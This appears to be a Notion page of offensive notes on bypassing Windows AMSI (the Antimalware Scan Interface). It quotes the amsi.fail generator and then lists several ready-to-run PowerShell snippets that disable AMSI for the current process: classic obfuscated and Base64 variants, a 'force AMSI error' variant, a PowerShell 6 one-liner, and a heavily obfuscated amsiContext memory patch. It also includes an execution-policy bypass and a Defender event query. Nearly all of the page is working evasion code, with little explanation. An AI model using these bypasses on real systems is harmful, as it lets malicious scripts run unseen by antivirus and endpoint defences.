ASMI | Notion

amsi.fail will compile and generate a PowerShell bypass from a collection of known bypasses. From amsi.fail, "AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process. The snippets are randomly selected from a small pool of techniques/variations before obfuscating. Every snippet is obfuscated at runtime/request so that no generated output share the same signatures.”

$env:PSExecutionPolicyPreference="bypass"

Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' -FilterXPath "*[System[((EventID=1116) or (EventID=1117))]]" -MaxEvents 5 |Format-Table TimeCreated, Message -Wrap

Classic

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Base64

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

Force AMSI error

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

On PowerShell 6

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$d=$null;$qcgcjblv=[$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).Runtime.InteropServices.Marshal]::AllocHGlobal((9076+7561-7561));$pkgzwpahfwntq="+('lwbj'+'cymh').NORmaliZe([CHar]([byTe]0x46)+[char](111)+[ChAR]([ByTE]0x72)+[chaR](109*73/73)+[ChAR]([ByTE]0x44)) -replace [char]([bytE]0x5c)+[Char](112*106/106)+[char]([bYte]0x7b)+[chAR]([BYtE]0x4d)+[CHAR](110+8-8)+[CHAr]([BytE]0x7d)";[Threading.Thread]::Sleep(1595);[Ref].Assembly.GetType("$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).$(('Mãnâge'+'ment').NOrMalIzE([ChaR](70)+[chAR](111*105/105)+[cHAR](114+29-29)+[chaR]([bYtE]0x6d)+[CHAR](22+46)) -replace [cHar]([BytE]0x5c)+[CHar](112*11/11)+[chAR](123+34-34)+[CHAR](77*13/13)+[cHaR]([bYTe]0x6e)+[cHAR]([bYte]0x7d)).$(('Àutõmâtî'+'ôn').NoRMAlIZe([CHar]([bYTE]0x46)+[Char]([byte]0x6f)+[cHAR]([BYtE]0x72)+[cHAR](109+105-105)+[ChAr](68*28/28)) -replace [chAR]([BytE]0x5c)+[cHAr]([BYTE]0x70)+[CHAR]([BytE]0x7b)+[char]([byte]0x4d)+[CHaR]([BYte]0x6e)+[chaR](125+23-23)).$([CHAR]([ByTe]0x41)+[CHAr]([bYtE]0x6d)+[chaR](115*46/46)+[cHar]([BYTe]0x69)+[cHaR](85)+[CHAr](116)+[chAr](105*44/44)+[cHAr](108*64/64)+[chAr]([BYte]0x73))").GetField("$(('àmsí'+'Sess'+'íón').norMALiZE([CHaR](70*49/49)+[chAr](87+24)+[ChaR]([bytE]0x72)+[chAr](109)+[chAR](68+43-43)) -replace [CHAr](92)+[chAr]([byTe]0x70)+[CHAr]([bYTE]0x7b)+[cHAr](77*71/71)+[CHar]([bYtE]0x6e)+[char](125+49-49))", "NonPublic,Static").SetValue($d, $null);[Ref].Assembly.GetType("$(('Sys'+'tem').NoRMALizE([CHar](70*66/66)+[CHaR](77+34)+[cHaR]([bYTe]0x72)+[ChAR]([bYtE]0x6d)+[chaR](68*10/10)) -replace [cHAR](92)+[char]([ByTE]0x70)+[cHar]([bYtE]0x7b)+[Char](69+8)+[ChAr]([bYTE]0x6e)+[ChaR]([BYtE]0x7d)).$(('Mãnâge'+'ment').NOrMalIzE([ChaR](70)+[chAR](111*105/105)+[cHAR](114+29-29)+[chaR]([bYtE]0x6d)+[CHAR](22+46)) -replace [cHar]([BytE]0x5c)+[CHar](112*11/11)+[chAR](123+34-34)+[CHAR](77*13/13)+[cHaR]([bYTe]0x6e)+[cHAR]([bYte]0x7d)).$(('Àutõmâtî'+'ôn').NoRMAlIZe([CHar]([bYTE]0x46)+[Char]([byte]0x6f)+[cHAR]([BYtE]0x72)+[cHAR](109+105-105)+[ChAr](68*28/28)) -replace [chAR]([BytE]0x5c)+[cHAr]([BYTE]0x70)+[CHAR]([BytE]0x7b)+[char]([byte]0x4d)+[CHaR]([BYte]0x6e)+[chaR](125+23-23)).$([CHAR]([ByTe]0x41)+[CHAr]([bYtE]0x6d)+[chaR](115*46/46)+[cHar]([BYTe]0x69)+[cHaR](85)+[CHAr](116)+[chAr](105*44/44)+[cHAr](108*64/64)+[chAr]([BYte]0x73))").GetField("$([chAR]([byTe]0x61)+[Char](109+52-52)+[cHar](46+69)+[CHar]([byTe]0x69)+[CHAR]([BYTe]0x43)+[Char]([ByTe]0x6f)+[chAR](110)+[chaR](116*47/47)+[cHar](101)+[CHAR]([bYte]0x78)+[CHaR]([ByTE]0x74))", "NonPublic,Static").SetValue($null, [IntPtr]$qcgcjblv);